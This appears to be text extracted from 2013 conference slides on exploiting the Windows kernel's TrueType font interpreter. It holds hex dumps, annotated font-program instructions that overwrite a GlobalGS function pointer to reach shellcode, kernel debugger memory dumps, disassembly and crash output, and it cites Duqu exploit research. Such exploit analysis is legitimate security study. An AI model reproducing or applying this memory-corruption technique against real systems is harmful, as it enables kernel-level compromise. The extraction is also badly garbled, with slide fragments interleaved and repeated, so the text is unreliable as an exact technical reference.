63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 Font Program Starts here 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| ... 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 * 00000150 00000160 00000170 * 0003b9a0 0003b9b0 0003b9c0 0003b9d0 0003b9e0 0003b9f0 ... 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 fb ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| |................| |................| 00 05 b9 00 00 00 00 00 ca 00 00 00 |.....\..........| |.~z._.<.........| |.........i......| |................| |...........d...Y| |................| 00 7e 9a 01 01 0b 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 7a 15 00 00 00 00000000 Friday, March 8, 2013 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 1c 96 01 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 7f 5f 00 00 00 00 03 00 03 03 03 03 03 03 03 03 03 40 00 5c 0f 00 00 00 00 ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 3c 00 00 00 00 d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 f5 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 01 09 69 01 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 08 0a 00 00 00 E8FBFFFFFF 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 00 00 d3 00 64 00 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 00 00 00 00 00 00 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 00 00 00 00 0a 00 67 79 61 65 74 63 78 6d 73 65 c0 00 00 19 00 00 00 00 00 9a 00 00 00 59 00 call 0x0 00149: ADD 00150: RCVT ; 0x2f ; e2482318 -> DataPGM ; [GlobalGS+0x2e*4] 00151: PUSHB[1] 80 ; 0x50 shelcode offset 00153: ADD ; Total e2482368 00154: PUSHB[1] 0 ; Stack: 0x00, e2482368 00156: RS ; Stack: 0x2c, e2482368 00157: SWAP ; Stack: e2482368, 0x2c 00158: WCVTP ; ControlValueTable+0x2c*4 = ... 00000060 00 00 00 00 00 03 ba;d0GlobalGS+0x2b*4 00 00 00 02 66 70 67 6d =|............fpgm| 00000070 7f 06 e9 00 00 00 01 0c 00 03 b8 9b 67 6c 79 66 |............glyf| 00000080 18 d3 69 4b 00 03 ba;e4GlobalGS+0xAC 00 00 00 bc 68 65 61 64 |..iK........head| 00000090 db b2 28 94 00 03 b9 a8 00 00 00 36 68 68 65 61 |..(........6hhea| 00159: PUSHB[1] 1 000000a0 00 16 00 be 00 03 b9 e0 00 00 00 24 68 6d 74 78 |...........$hmtx| 000000b0 00 82 00 1e 00 03 ba;7cCall 00 00 Shellcode 00 0e 6c 6f 63 61 |.......|....loca| 00161: SSW 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 * 00000150 00000160 00000170 *March 8, 2013 Friday, 00 01 1c 9c 8b 01 00 5e 08 d0 11 9d c0 00 00 00 3a 3e ff 63 00 00 23 db 69 81 b8 00 00 00 00 00 00 3a 00 03 03 03 03 03 40 00 ba ba bb bd ba 60 00 d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 60 00 0e 20 7c 35 0d 1c 00 70 65 74 70 b8 00 00 |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| 00 00 00 00 e8 fb ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| |................| |................| fpgm 6d 6e 70 70 b8 00 00 61 61 6f 72 7f 00 00 78 6d 73 65 c0 00 00 +0x50 00153: 00154: 00156: 00157: 00158: ADD PUSHB[1] 0 RS SWAP WCVTP 00159: PUSHB[1] 1 00161: SSW ; ; ; ; ; ; ; ; ; Total e2482368 Stack: 0x00, e2482368 Stack: 0x2c, e2482368 Stack: e2482368, 0x2c ControlValueTable+0x2c*4 = GlobalGS+0x2b*4 = GlobalGS+0xAC (SSW pops an argument) Call Shellcode e2481f80 00000000 kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 e2481f94 00040000 00000000 00000000 e2481fa4 00000000 00000044 00000000 e2481fb4 00000000 00000000 00000040 e2481fc4 00000003 00000000 00000000 e2481fd4 00030009 00000080 00000001 e2481fe4 00000000 00000000 00000000 e2481ff4 00000040 bf85c269 00000003 [CVT+0xAC] = “SSW” e2482004 00000000 00000000 00030009 e2482014 00000001 e2481f80 e2481f80 e2482024 00000000 bf85bd4b bf85bd4b e2482034 e24bdbb3 0000000d e2482318 Friday, March 8, 2013 e2482044 00000000 00000000 00000000 00030004 00000000 00000000 bf85c269 00000000 00000044 00000000 00000000 00010080 00000000 e2482368 offset: +0x2C 0003b89b 00000000 ; __fastcall itrp_LSW(x, x) @itrp_LSW@8 proc near ; CODE XREF: itrp_InnerExecute(x,x)+2B^Xp ; itrp_InnerTraceExecute(x,x)+56^Xp ; DATA XREF: ... kd> dd e2482368 eax, dword_BF9A9234 e2482368 mov fffffbe8 000000ff 00000000 00000000 push ebx e2482378 mov 00000000 00000000 00000000 ebx, 00000000 [eax] e2482388 push 00000000 esi 00000000 00000000 00000000 push edi e2481f80 00000000 mov dword_BF9A927C, 1110h kd> L100 popdd e2481f84 ebx retn e2481f84 e2481afc e2481f00 e2481f80 00030004 ; --------------------------------------------------------------------------e2481f94 00040000 00000000 00000000 00000000 loc_BF98B9F9: ... ; CODE XREF: itrp_LSW(x,x)+28^Xj e2482024 00000000 bf85bd4b bf85bd4b e2482368 sub ecx, 4 e2482034 mov dword_BF9A9228, e24bdbb3 0000000d ecx e2482318 0003b89b mov movsx mov lea call mov mov pop pop pop retn endp 00000000 @itrp_LSW@8 Friday, March 8, 2013 ecx, [ecx] edx, cx [esi+32h], cx ecx, [eax+100h] dword ptr [eax+0ACh] [esi+8], eax eax, edi edi esi ebx [CVT+0xAC] = “SSW” E8FBFFFFFF call 0x0 00153: 00154: 00156: 00157: 00158: ADD PUSHB[1] 0 RS SWAP WCVTP 00159: PUSHB[1] 1 00161: SSW ; ; ; ; ; ; ; ; ; Total e2482368 Stack: 0x00, e2482368 Stack: 0x2c, e2482368 Stack: e2482368, 0x2c ControlValueTable+0x2c*4 = GlobalGS+0x2b*4 = GlobalGS+0xAC (SSW pops an argument) Call Shellcode e2481f80 00000000 kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 e2481f94 00040000 00000000 00000000 e2481fa4 00000000 00000044 00000000 e2481fb4 00000000 00000000 00000040 e2481fc4 00000003 00000000 00000000 e2481fd4 00030009 00000080 00000001 e2481fe4 00000000 00000000 00000000 e2481ff4 00000040 bf85c269 00000003 [CVT+0xAC] = “SSW” e2482004 00000000 00000000 00030009 e2482014 00000001 e2481f80 e2481f80 e2482024 00000000 bf85bd4b bf85bd4b e2482034 e24bdbb3 0000000d e2482318 Friday, March 8, 2013 e2482044 00000000 00000000 00000000 00030004 00000000 00000000 bf85c269 00000000 00000044 00000000 00000000 00010080 00000000 e2482368 offset: +0x2C 0003b89b 00000000 Finalé Friday, March 8, 2013 00157: SWAP 00158: WCVTP 00159: PUSHB[1] 1 00161: SSW ; ; ; ; ; ; Stack: e2482368, 0x2c ControlValueTable+0x2c*4 = GlobalGS+0x2b*4 = GlobalGS+0xAC (SSW pops an argument) Call Shellcode ; __fastcall itrp_LSW(x, x) ;... loc_BF98B9F9: ; CODE XREF: itr sub ecx, 4 mov dword_BF9A9228, ecx mov ecx, [ecx] movsx edx, cx mov [esi+32h], cx lea ecx, [eax+100h] call dword ptr [eax+0ACh] mov [esi+8], eax Friday, March 8, 2013 ; __fastcall itrp_LSW(x, x) ;... lea ecx, [eax+100h] call dword ptr [eax+0ACh] mov [esi+8], eax Debugging Details: -----------------BUGCHECK_STR: 0x7f_8 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=01 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00 e2482368 e8fbffffff call e2482368 Resetting default scope e2481f80 00000000 kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 e2481f94 00040000 00000000 00000000 00000000 ... e2482024 00000000 bf85bd4b bf85bd4b e2482368 e2482034 e24bdbb3 0000000d e2482318 0003b89b Friday, March 8, 2013 ; __fastcall itrp_LSW(x, x) ;... lea ecx, [eax+100h] call dword ptr [eax+0ACh] mov [esi+8], eax Debugging Details: -----------------BUGCHECK_STR: 0x7f_8 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=01 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00 e2482368 e8fbffffff call e2482368 Resetting default scope e2481f80 00000000 kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 e2481f94 00040000 00000000 00000000 00000000 ... e2482024 00000000 bf85bd4b bf85bd4b e2482368 e2482034 e24bdbb3 0000000d e2482318 0003b89b Friday, March 8, 2013 ; __fastcall itrp_LSW(x, x) ;... lea ecx, [eax+100h] call dword ptr [eax+0ACh] mov [esi+8], eax Debugging Details: -----------------BUGCHECK_STR: 0x7f_8 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 =esi=e2481fe0 edi=01 [EAX+0xAC] “SSW()” eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00 e2482368 e8fbffffff call e2482368 Resetting default scope e2481f80 00000000 kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 e2481f94 00040000 00000000 00000000 00000000 ... e2482024 00000000 bf85bd4b bf85bd4b e2482368 e2482034 e24bdbb3 0000000d e2482318 0003b89b Friday, March 8, 2013 ; __fastcall itrp_LSW(x, x) ;... lea ecx, [eax+100h] call dword ptr [eax+0ACh] mov [esi+8], eax Debugging Details: -----------------BUGCHECK_STR: 0x7f_8 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 =esi=e2481fe0 edi=01 [EAX+0xAC] “SSW()” eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00 [CVT]=[GlobalGS-4] e2482368 e8fbffffff call e2482368 Resetting default scope e2481f80 00000000 [CVT+(4*2C)] = kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 [CVT+0xB0] = e2481f94 00040000 00000000 00000000 00000000 [GlobalGS+0xB0-4] = ... e2482024 00000000 bf85bd4b bf85bd4b e2482368 [GlobalGS+0xAC] = e2482034 e24bdbb3 0000000d e2482318 0003b89b Friday, March 8, 2013 ; __fastcall itrp_LSW(x, x) ;... lea ecx, [eax+100h] call dword ptr [eax+0ACh] mov [esi+8], eax Debugging Details: -----------------00157: SWAP 00158: WCVTP BUGCHECK_STR: 0x7f_8 ; Stack: e2482368, 0x2c ; ControlValueTable[0x2c] TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 =esi=e2481fe0 edi=01 [EAX+0xAC] “SSW()” eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00 [CVT]=[GlobalGS-4] e2482368 e8fbffffff call e2482368 Resetting default scope e2481f80 00000000 [CVT+(4*2C)] = kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 [CVT+0xB0] = e2481f94 00040000 00000000 00000000 00000000 [GlobalGS+0xB0-4] = ... e2482024 00000000 bf85bd4b bf85bd4b e2482368 [GlobalGS+0xAC] = e2482034 e24bdbb3 0000000d e2482318 0003b89b Friday, March 8, 2013 ; __fastcall itrp_LSW(x, x) ;... lea ecx, [eax+100h] call dword ptr [eax+0ACh] mov [esi+8], eax Debugging Details: -----------------00157: SWAP 00158: WCVTP BUGCHECK_STR: 0x7f_8 ; Stack: e2482368, 0x2c ; ControlValueTable[0x2c] TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 =esi=e2481fe0 edi=01 [EAX+0xAC] “SSW()” eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00 [CVT]=[GlobalGS-4] e2482368 e8fbffffff call e2482368 Resetting default scope e2481f80 00000000 [CVT+(4*2C)] = kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 [CVT+0xB0] = e2481f94 00040000 00000000 00000000 00000000 [GlobalGS+0xB0-4] = ... e2482024 00000000 bf85bd4b bf85bd4b e2482368 [GlobalGS+0xAC] = e2482034 e24bdbb3 0000000d e2482318 0003b89b Friday, March 8, 2013 ; __fastcall itrp_LSW(x, x) ;... lea ecx, [eax+100h] call dword ptr [eax+0ACh] mov [esi+8], eax Debugging Details: -----------------00157: SWAP 00158: WCVTP BUGCHECK_STR: 0x7f_8 [CVT+(4*(2C+3))] + 0x50 ; Stack: e2482368, 0x2c ; ControlValueTable[0x2c] TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 =esi=e2481fe0 edi=01 [EAX+0xAC] “SSW()” eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00 [CVT]=[GlobalGS-4] e2482368 e8fbffffff call e2482368 Resetting default scope e2481f80 00000000 [CVT+(4*2C)] = kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 [CVT+0xB0] = e2481f94 00040000 00000000 00000000 00000000 [GlobalGS+0xB0-4] = ... e2482024 00000000 bf85bd4b bf85bd4b e2482368 [GlobalGS+0xAC] = e2482034 e24bdbb3 0000000d e2482318 0003b89b *fpgm Friday, March 8, 2013 Friday, March 8, 2013 References Friday, March 8, 2013 TrueType Font Stuff • Apple’s Developer Website • Microsoft’s Developer Website • Possibly Adobe’s web site if you’re lucky (most links seem to be broken currently) • Wikipedia, Google, you know... Friday, March 8, 2013 Other People’s Stuff, Which I Just Found • Lee Ling Chuan, and Chan Lee Yee Black-Hat Europe 2012, and PacSec Oct 2012 “GDI Font Fuzzing in Windows Kernel for Fun” • Ivan Teblin Virus Bulletin, Dallas, 05 Oct 2012 “Anatomy of Duqu exploit” Friday, March 8, 2013 Oh yeah, by the way, for reference, this is the storage area array. The RS(0) and WS(0) were the loop iteration offset walking through CVT. It was 0x2C at crash (shellcode) time. kd> dd e2481f00 e2481f00 0000002c e2481f10 00000000 e2481f20 00000000 e2481f30 00000000 e2481f40 00000000 e2481f50 00000000 e2481f60 00000000 Friday, March 8, 2013 bf85bd4b 00000000 00000000 00000000 00000000 00000000 00000000 bf85bd4b 00000000 00000000 00000000 00000000 00000000 00000000 bf85bd4b 00000000 00000000 00000000 00000000 00000000 00000000 Oh yeah, by the way, for reference, this is the storage area array. The RS(0) and WS(0) were the loop iteration offset walking through CVT. It was 0x2C at crash (shellcode) time. kd> dd e2481f00 e2481f00 0000002c bf85bd4b bf85bd4b bf85bd4b e2481f10 00000000 00000000 00000000 00000000 e2481f20 00000000 Debugging00000000 Details:00000000 00000000 e2481f30 00000000 00000000 00000000 00000000 -----------------e2481f40 00000000 00000000 00000000 00000000 e2481f50 00000000 00000000 00000000 00000000 BUGCHECK_STR: 0x7f_8 e2481f60 00000000 00000000 00000000 00000000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e24 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 e2482368 e8fbffffff call e2482368 Resetting default scope e2481f80 00000000 kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 e2481f94 00040000 00000000 00000000 00000000 Friday, March 8, 2013 ...
© Copyright 2026 Paperzz